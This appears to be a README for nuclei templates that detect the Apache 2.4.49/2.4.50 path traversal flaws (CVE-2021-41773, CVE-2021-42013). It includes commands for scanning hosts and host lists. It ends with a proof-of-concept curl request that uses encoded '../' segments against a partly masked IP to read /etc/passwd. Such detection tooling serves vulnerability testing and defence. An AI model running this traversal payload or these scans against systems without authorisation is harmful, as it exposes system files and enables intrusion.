psibot/apache-vulnerableDetects Apache HTTP Server path traversal vulnerabilities (CVE-2021-41773, CVE-2021-42013) by checking for exposure of /etc/passwd through various traversal techniques.
Apache Version 2.4.49 and 2.4.50
(CVE-2021-41773) and (CVE-2021-42013)
You Will need nuclei !
https://github.com/projectdiscovery/nuclei
Check local nuclei install and verify template
nuclei -t apache-vulnerable-versions.yaml -vv
and
nuclei -t apache-path-traversal-rce-v2.yaml -vv
You should see
[apache-vulnerable-versions] Vulnerable Apache Versions (2.4.49-2.4.50) (@psibot) [high]
and
[apache-path-traversal-passwd] Apache Path Traversal - /etc/passwd Exposure (@psibot) [critical]
To scan target :
nuclei --silent -t apache-vulnerable-versions.yaml -u https://*.*.*.*:port
To scan targets in a file :
nuclei --silent -t apache-vulnerable-versions.yaml -l hosts.txt
apache-vulnerable-versions.yaml - Detects version of Apache and will output HIGH if vulnerible.
apache-path-traversal-rce-v2.yaml - Will run a exploit and show the path vulnerible. Will output CRITICAL if vulnerible.
POC :
curl -s -k https://135.*.120.*:8443/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
